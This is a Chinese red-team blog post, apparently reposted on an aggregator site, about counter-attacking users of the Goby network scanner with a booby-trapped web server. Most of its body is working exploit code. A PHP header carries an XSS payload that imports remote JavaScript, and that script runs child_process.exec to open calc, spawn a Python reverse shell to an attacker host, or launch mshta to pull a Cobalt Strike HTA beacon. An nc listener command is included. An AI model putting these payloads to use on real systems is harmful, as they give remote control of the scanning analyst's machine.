当前位置: 首页 > news >正文

红队攻防之Goby反杀

若结局非我所愿,那就在尘埃落定前奋力一搏。

本文首发于先知社区,原创作者即是本人

一、弹xss

为了方便,本次直接使用 PhpStudy 进行建站,开启的web服务要为MySQL+Nginx,这里的 PhpStudy 地址为 http://x.x.x.x,直接将 Web 服务里的 index.php 改为以下内容

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=alert(\"xxxxx\")>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的xss弹窗的payload,点击扫描结果里的x.x.x.x

在这里插入图片描述

就会成功触发弹窗

在这里插入图片描述

二、弹计算器

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 calc 的 js 文件,js 内容如下:
js文件在goby客户端的chrome里如果同名只会第一次去请求,后面就缓存起来了,在测试的时候修改js文件内容没有效果,要同时修改内容和文件名

(function(){
require('child_process').exec('calc');
})()

执行这段 JS 会打开Goby所在主机的计算器
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/calc.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

在这里插入图片描述

成功反弹 计算器

在这里插入图片描述

三、反弹shell

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 shell 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'');
})()

执行这段 JS 会利用 Python 反弹 Shell 到 x.x.x.x 主机的 xxx 端口
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/shell.js'))>");
?>

在x.x.x.x 主机的 xxx 端口开启监听
nc -lvp xxx

在这里插入图片描述

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

在这里插入图片描述

成功反弹 shell

在这里插入图片描述

四、上线cs

首先,cs生成VBA或者powershell的Hta程序,并且放到自己的公网服务器上

在这里插入图片描述

上线cs 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 1 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('mshta http://x.x.x.x/evil.hta');
})();

执行这段 JS 会利用Goby所在主机的mshta.exe执行cs生成的VBA的Hta程序
也可以利用文件下载功能使用cs所在的服务器进行加载

在这里插入图片描述

需要将 js 内容修改为:

(function(){
require('child_process').exec('mshta http://x.x.x.x/download/file.ext');
})();

之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/1.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

在这里插入图片描述

经测试,cs生成VBA的Hta程序,Windows 10 企业版可以上线

在这里插入图片描述

经测试,cs生成powershell的Hta程序,Windows 7 企业版和Windows 10 企业版可以上线

在这里插入图片描述

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


http://www.dtcms.com/a/4401.html

相关文章:

  • 计算机网络(持续更新…)
  • 本地开发环境和服务器传输数据的几种方法
  • Flink之KeyedState
  • php字符串处理函数的使用
  • YOLOv8优化策略:轻量级Backbone改进 | VanillaNet极简神经网络模型 | 华为诺亚2023
  • 2023.11.17 hadoop之HDFS进阶
  • windows 查看防火墙规则
  • Django 路由配置(二)
  • “index“ should always be multi-word
  • 31倒计时自律习惯养成计划打卡-day1
  • STM32在FreeRTOS下的us延时
  • 黄鹤楼
  • Day01 嵌入式 -----流水灯
  • 持续集成交付CICD:Jenkins通过API触发流水线
  • Camera2的使用【详细】
  • Electron入门
  • 设计模式—结构型模式之享元模式
  • CTF-PWN-小tips
  • 在 Windows 中关闭 Nginx 所有进程
  • 零基础安装分布式数据服务注册系统
  • 高压放大器使用方法介绍
  • 探索亚马逊大语言模型:开启人工智能时代的语言创作新篇章
  • 初识分布式键值对存储etcd
  • Rust8.1 Smart Pointers
  • Django(九、choices参数的使用、多对多表的三种创建方式、Ajax技术)
  • Revive开发商加入VR开源标准OpenXR
  • 第十九章Java绘图
  • C++二分查找算法:132模式枚举3简洁版
  • Apache Airflow (十二) :PythonOperator
  • nginx学习(4)Nginx 负载均衡